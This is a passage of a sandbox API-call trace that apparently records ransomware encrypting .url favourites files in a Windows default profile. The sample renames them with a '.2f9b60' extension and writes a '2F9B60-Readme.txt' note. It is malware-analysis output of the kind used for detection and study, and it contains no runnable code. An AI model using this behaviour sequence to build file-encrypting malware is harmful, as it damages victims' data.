RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x42c22120 [0162.843] wcscat (in: _Dest=0x42c22120, _Source="3da4942ca2cfde" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\3da4942ca2cfde") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\3da4942ca2cfde" [0162.843] wcscat (in: _Dest=0x42c22120, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\3da4942ca2cfde.2f9b60") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\3da4942ca2cfde.2f9b60" [0162.843] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\MSN Websites\\3da4942ca2cfde.2f9b60", NtPathName=0x24c3f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\MSN Websites\\3da4942ca2cfde.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0162.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050c450 [0164.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c450) returned 1 [0164.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1c2f0) returned 1 [0164.358] NtQueryInformationFile (in: FileHandle=0x1620, IoStatusBlock=0x24c3f918, FileInformation=0x24c3f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24c3f918, FileInformation=0x24c3f928) returned 0x0 [0164.358] NtSetInformationFile (FileHandle=0x1620, IoStatusBlock=0x24c3f918, FileInformation=0x24c3f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22120) returned 1 [0165.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.215] FlushFileBuffers (hFile=0x1620) returned 1 [0166.270] CloseHandle (hObject=0x1620) returned 1 [0183.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b866dc0 [0183.974] wcscpy (in: _Dest=0x1b866dc0, _Source="C:\\Users\\Default\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0183.974] wcscat (in: _Dest=0x1b866dc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0183.974] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0xffffffff [0188.371] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x64c [0218.210] WriteFile (in: hFile=0x64c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x24c3f7d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x24c3f7d0*=0xba9, lpOverlapped=0x0) returned 1 [0222.597] CloseHandle (hObject=0x64c) returned 1 [0225.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866dc0) returned 1 [0225.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866640) returned 1 Thread: id = 851 os_tid = 0x6f4 [0101.007] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url")) returned 0x20 [0102.078] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url", dwFileAttributes=0x20) returned 1 [0102.078] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1704 [0102.078] GetFileSizeEx (in: hFile=0x1704, lpFileSize=0x2471fc00 | out: lpFileSize=0x2471fc00*=133) returned 1 [0102.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0102.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0102.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b8f0 [0102.079] NtQuerySystemTime (in: CurrentTime=0x2471fac0 | out: CurrentTime=0x2471fac0*=132462177076006000) returned 0x0 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x4b51e971 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x450586a2 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x1b2e4f2f [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x5a895316 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x46ba0c99 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x4808c422 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x6f623555 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x2788f661 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x19de48f4 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x2367448f [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x704d4396 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x40d9c229 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x2f2a1e50 [0102.079] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x2de5fc25 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x6dc69fc1 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x57a9ab9b [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x76b147a1 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x7ddc3697 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x15baf82 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x7265d146 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x69769316 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x4747782 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x445f84a1 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x63aa05d [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x11f180e2 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x25ad91bf [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x3f93eb10 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x7e95af27 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x199fc9b8 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x5611eed1 [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x1fd22b1d [0102.080] RtlRandomEx (in: Seed=0x2471fab0 | out: Seed=0x2471fab0) returned 0x79406769 [0102.094] ReadFile (in: hFile=0x1704, lpBuffer=0x1cea0e60, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x2471fab0, lpOverlapped=0x0 | out: lpBuffer=0x1cea0e60*, lpNumberOfBytesRead=0x2471fab0*=0x85, lpOverlapped=0x0) returned 1 [0102.096] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.096] WriteFile (in: hFile=0x1704, lpBuffer=0x1ce9d250*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2471fab4, lpOverlapped=0x0 | out: lpBuffer=0x1ce9d250*, lpNumberOfBytesWritten=0x2471fab4*=0x85, lpOverlapped=0x0) returned 1 [0148.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f4c0 [0148.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0148.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0148.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce9d250) returned 1 [0148.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea0e60) returned 1 [0148.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8695c0) returned 1 [0148.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973f0) returned 1 [0148.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85f9d0 [0148.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973f0 [0148.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8695c0 [0148.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f820 [0148.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0148.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b85f820 [0148.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0148.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8606c0 [0148.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8606c0) returned 1 [0148.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8695c0) returned 1 [0148.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973f0) returned 1 [0148.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x1693c0 [0148.160] SetFilePointerEx (in: hFile=0x1704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0148.160] WriteFile (in: hFile=0x1704, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2471fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x2471fbd0*=0x100, lpOverlapped=0x0) returned 1 [0165.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0165.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e30 [0165.737] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e30) returned 1 [0165.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82d1c0 [0165.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e30 [0165.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e60 [0165.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e60) returned 1 [0165.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0165.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x42c19e60 [0165.739] sprintf (in: _Dest=0x42c19e60, _Format="%c%c" | out: _Dest="ee") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e62, _Format="%c%c" | out: _Dest="ef") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e64, _Format="%c%c" | out: _Dest="04") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e66, _Format="%c%c" | out: _Dest="2f") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e68, _Format="%c%c" | out: _Dest="14") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e6a, _Format="%c%c" | out: _Dest="c1") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e6c, _Format="%c%c" | out: _Dest="6d") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e6e, _Format="%c%c" | out: _Dest="08") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e70, _Format="%c%c" | out: _Dest="bf") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e72, _Format="%c%c" | out: _Dest="2d") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e74, _Format="%c%c" | out: _Dest="37") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e76, _Format="%c%c" | out: _Dest="09") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e78, _Format="%c%c" | out: _Dest="f2") returned 2 [0165.739] sprintf (in: _Dest=0x42c19e7a, _Format="%c%c" | out: _Dest="e2") returned 2 [0165.739] RtlInitAnsiString (in: DestinationString=0x2471fc48, SourceString="eeef042f14c16d08bf2d3709f2e2" | out: DestinationString="eeef042f14c16d08bf2d3709f2e2") [0165.739] RtlAnsiStringToUnicodeString (in: DestinationString=0x2471fc18, SourceString="eeef042f14c16d08bf2d3709f2e2", AllocateDestinationString=1 | out: DestinationString="eeef042f14c16d08bf2d3709f2e2") returned 0x0 [0165.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059290 [0165.740] RtlFreeAnsiString (AnsiString="e") [0165.740] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e60) returned 1 [0165.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e30) returned 1 [0165.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1693c0) returned 1 [0165.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f820) returned 1 [0165.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8608d0) returned 1 [0165.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0165.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f4c0) returned 1 [0165.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0165.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b8c0) returned 1 [0165.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b860) returned 1 [0165.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b869240 [0165.743] wcscat (in: _Dest=0x1b869240, _Source="eeef042" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\eeef042") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\eeef042" [0165.744] wcscat (in: _Dest=0x1b869240, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\eeef042.2f9b60") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\eeef042.2f9b60" [0165.744] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\MSN Websites\\eeef042.2f9b60", NtPathName=0x2471fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\MSN Websites\\eeef042.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205064f0 [0165.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205064f0) returned 1 [0165.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19ff0) returned 1 [0165.748] NtQueryInformationFile (in: FileHandle=0x1704, IoStatusBlock=0x2471fc58, FileInformation=0x2471fc68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2471fc58, FileInformation=0x2471fc68) returned 0x0 [0165.749] NtSetInformationFile (FileHandle=0x1704, IoStatusBlock=0x2471fc58, FileInformation=0x2471fc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0166.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0166.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0166.340] FlushFileBuffers (hFile=0x1704) returned 1 [0187.652] CloseHandle (hObject=0x1704) returned 1 [0199.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85d990 [0199.631] wcscpy (in: _Dest=0x1b85d990, _Source="C:\\Users\\Default\\Favorites\\MSN Websites\\" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\" [0199.632] wcscat (in: _Dest=0x1b85d990, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" [0199.632] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\msn websites\\2f9b60-readme.txt")) returned 0x20 [0200.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0200.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8646f0) returned 1 Thread: id = 852 os_tid = 0x5d4 [0101.009] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url")) returned 0x20 [0101.742] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url", dwFileAttributes=0x20) returned 1 [0101.743] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15f8 [0101.743] GetFileSizeEx (in: hFile=0x15f8, lpFileSize=0x24e7fcc0 | out: lpFileSize=0x24e7fcc0*=133) returned 1 [0101.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0101.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f40 [0101.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202601d0 [0101.743] NtQuerySystemTime (in: CurrentTime=0x24e7fb80 | out: CurrentTime=0x24e7fb80*=132462177072730000) returned 0x0 [0101.743] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x4407b9a4 [0101.743] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x72cc0641 [0101.743] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0xeb7c820 [0101.743] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x101960be [0101.743] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x3e3b889b [0101.743] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x788af713 [0101.743] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x66b61f59 [0101.743] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x6feedfa3 [0101.743] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x35389c6d [0101.743] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x4412471a [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x4ab51c56 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x7544148e [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x38e7e6d0 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x2b269e43 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x21c98ef0 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x5e373265 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x783a4a05 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x7f1be578 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x532c4da3 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x3ccbd26f [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0xf1d6557 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x57db848e [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x26842914 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x39d01537 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x4731cb73 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x7978ba50 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x3206a2ea [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x6038f636 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x74253e63 [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x1809c7ac [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x7b51b4a [0101.744] RtlRandomEx (in: Seed=0x24e7fb70 | out: Seed=0x24e7fb70) returned 0x628eac8 [0101.757] ReadFile (in: hFile=0x15f8, lpBuffer=0x2011f0f0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x24e7fb70, lpOverlapped=0x0 | out: lpBuffer=0x2011f0f0*, lpNumberOfBytesRead=0x24e7fb70*=0x85, lpOverlapped=0x0) returned 1 [0101.759] SetFilePointerEx (in: hFile=0x15f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.759] WriteFile (in: hFile=0x15f8, lpBuffer=0x20131d40*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x24e7fb74, lpOverlapped=0x0 | out: lpBuffer=0x20131d40*, lpNumberOfBytesWritten=0x24e7fb74*=0x85, lpOverlapped=0x0) returned 1 [0147.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0147.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0147.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd00) returned 1 [0147.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20131d40) returned 1 [0147.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2011f0f0) returned 1 [0147.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0147.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c1c0) returned 1 [0147.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f5b0 [0147.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c1c0 [0147.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0147.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0147.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd00) returned 1 [0147.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9fbf0 [0147.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd00 [0147.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0147.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85feb0) returned 1 [0147.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0147.846] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c1c0) returned 1 [0147.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x167700 [0147.846] SetFilePointerEx (in: hFile=0x15f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.847] WriteFile (in: hFile=0x15f8, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x24e7fc90, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x24e7fc90*=0x10e, lpOverlapped=0x0) returned 1 [0162.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a10 [0162.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0162.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b830 [0162.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b830) returned 1 [0162.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b82b830 [0162.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0162.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0162.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b440) returned 1 [0162.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0162.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a10) returned 1 [0162.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x42058a10 [0162.851] sprintf (in: _Dest=0x42058a10, _Format="%c%c" | out: _Dest="7b") returned 2 [0162.851] sprintf (in: _Dest=0x42058a12, _Format="%c%c" | out: _Dest="37") returned 2 [0162.851] sprintf (in: _Dest=0x42058a14, _Format="%c%c" | out: _Dest="9b") returned 2 [0162.851] sprintf (in: _Dest=0x42058a16, _Format="%c%c" | out: _Dest="50") 